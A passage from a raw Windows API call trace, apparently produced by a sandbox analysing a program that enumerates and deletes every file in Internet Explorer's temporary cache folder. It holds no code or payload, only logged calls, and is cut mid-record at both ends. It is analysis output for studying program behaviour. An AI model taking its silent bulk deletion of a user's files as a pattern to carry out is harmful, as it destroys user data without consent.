pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AA429NP[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA429NP[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA429NP[1].png" [0104.363] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA429NP[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aa429np[1].png")) returned 1 [0104.363] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed35e0a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xed35e0a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xed35e0a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA42pjY[1].png", cAlternateFileName="AA42PJ~1.PNG")) returned 1 [0104.363] lstrlenW (lpString="AA42pjY[1].png") returned 14 [0104.363] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AA42pjY[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA42pjY[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA42pjY[1].png" [0104.363] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA42pjY[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aa42pjy[1].png")) returned 1 [0104.366] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a93d480, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a93d480, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a93d480, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x27b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA7XCQ3[1].png", cAlternateFileName="AA7XCQ~1.PNG")) returned 1 [0104.366] lstrlenW (lpString="AA7XCQ3[1].png") returned 14 [0104.366] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AA7XCQ3[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA7XCQ3[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA7XCQ3[1].png" [0104.366] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA7XCQ3[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aa7xcq3[1].png")) returned 1 [0104.366] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aaba240, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aaba240, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aaba240, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA8uCo4[2].png", cAlternateFileName="AA8UCO~2.PNG")) returned 1 [0104.366] lstrlenW (lpString="AA8uCo4[2].png") returned 14 [0104.366] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AA8uCo4[2].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA8uCo4[2].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA8uCo4[2].png" [0104.366] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA8uCo4[2].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aa8uco4[2].png")) returned 1 [0104.366] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc3bec00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc3bec00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc3bec00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AAbyinC[1].png", cAlternateFileName="AABYIN~1.PNG")) returned 1 [0104.366] lstrlenW (lpString="AAbyinC[1].png") returned 14 [0104.366] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AAbyinC[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAbyinC[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAbyinC[1].png" [0104.366] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAbyinC[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aabyinc[1].png")) returned 1 [0104.367] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc09ef20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc09ef20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc09ef20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AAdAVrM[1].png", cAlternateFileName="AADAVR~1.PNG")) returned 1 [0104.367] lstrlenW (lpString="AAdAVrM[1].png") returned 14 [0104.367] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AAdAVrM[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAdAVrM[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAdAVrM[1].png" [0104.367] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAdAVrM[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aadavrm[1].png")) returned 1 [0104.367] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b43fa40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b43fa40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b43fa40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AAfOIDq[1].png", cAlternateFileName="AAFOID~1.PNG")) returned 1 [0104.367] lstrlenW (lpString="AAfOIDq[1].png") returned 14 [0104.367] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AAfOIDq[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAfOIDq[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAfOIDq[1].png" [0104.367] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AAfOIDq[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aafoidq[1].png")) returned 1 [0104.371] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccd44400, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccd44400, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccd44400, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x28fa, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adfscript[1]", cAlternateFileName="ADFSCR~1")) returned 1 [0104.371] lstrlenW (lpString="adfscript[1]") returned 12 [0104.372] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="adfscript[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfscript[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfscript[1]" [0104.372] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfscript[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\adfscript[1]")) returned 1 [0104.374] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2eb840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd2eb840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd2eb840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1086, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adfserve[1]", cAlternateFileName="ADFSER~1")) returned 1 [0104.374] lstrlenW (lpString="adfserve[1]") returned 11 [0104.374] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="adfserve[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfserve[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfserve[1]" [0104.374] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfserve[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\adfserve[1]")) returned 1 [0104.375] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x196caa00, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x196caa00, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x196caa00, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x162c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adfserve[2]", cAlternateFileName="ADFSER~2")) returned 1 [0104.375] lstrlenW (lpString="adfserve[2]") returned 11 [0104.375] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="adfserve[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfserve[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfserve[2]" [0104.375] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adfserve[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\adfserve[2]")) returned 1 [0104.388] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193127a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x193127a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x193127a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7a52, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adition[1].js", cAlternateFileName="ADITIO~1.JS")) returned 1 [0104.388] lstrlenW (lpString="adition[1].js") returned 13 [0104.388] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="adition[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adition[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adition[1].js" [0104.388] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adition[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\adition[1].js")) returned 1 [0104.640] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1967e740, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1967e740, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1967e740, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2218, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adServer[1].htm", cAlternateFileName="ADSERV~1.HTM")) returned 1 [0104.640] lstrlenW (lpString="adServer[1].htm") returned 15 [0104.640] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="adServer[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adServer[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adServer[1].htm" [0104.640] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adServer[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\adserver[1].htm")) returned 1 [0104.640] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a396040, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a396040, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a3bc1a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x525b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adsWrapperMSNI[1].js", cAlternateFileName="ADSWRA~1.JS")) returned 1 [0104.640] lstrlenW (lpString="adsWrapperMSNI[1].js") returned 20 [0104.640] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="adsWrapperMSNI[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adsWrapperMSNI[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adsWrapperMSNI[1].js" [0104.640] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\adsWrapperMSNI[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\adswrappermsni[1].js")) returned 1 [0104.641] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0f3ee00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0f3ee00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0f3ee00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xb27, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="angular-locale_en-us[1].js", cAlternateFileName="ANGULA~1.JS")) returned 1 [0104.641] lstrlenW (lpString="angular-locale_en-us[1].js") returned 26 [0104.641] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="angular-locale_en-us[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\angular-locale_en-us[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\angular-locale_en-us[1].js" [0104.641] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\angular-locale_en-us[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\angular-locale_en-us[1].js")) returned 1 [0104.641] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd00121c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd00121c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd00d08a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x799ac, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="application[1]", cAlternateFileName="APPLIC~1")) returned 1 [0104.641] lstrlenW (lpString="application[1]") returned 14 [0104.641] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="application[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\application[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\application[1]" [0104.641] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\application[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\application[1]")) returned 1 [0104.641] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbce6cc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbce6cc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd0ce20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1183b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ast[1].js", cAlternateFileName="AST_1_~1.JS")) returned 1 [0104.641] lstrlenW (lpString="ast[1].js") returned 9 [0104.641] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="ast[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ast[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ast[1].js" [0104.642] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ast[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\ast[1].js")) returned 1 [0104.642] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd106f900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd106f900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd106f900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x439, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="async_usersync[1]", cAlternateFileName="ASYNC_~1")) returned 1 [0104.642] lstrlenW (lpString="async_usersync[1]") returned 17 [0104.642] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="async_usersync[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\async_usersync[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\async_usersync[1]" [0104.642] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\async_usersync[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\async_usersync[1]")) returned 1 [0104.642] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b0877e0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b0877e0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b0877e0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="async_usersync[2]", cAlternateFileName="ASYNC_~2")) returned 1 [0104.894] lstrlenW (lpString="async_usersync[2]") returned 17 [0104.898] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="async_usersync[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\async_usersync[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\async_usersync[2]" [0104.898] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\async_usersync[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\async_usersync[2]")) returned 1 [0105.011] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a323c20, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a323c20, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a323c20, 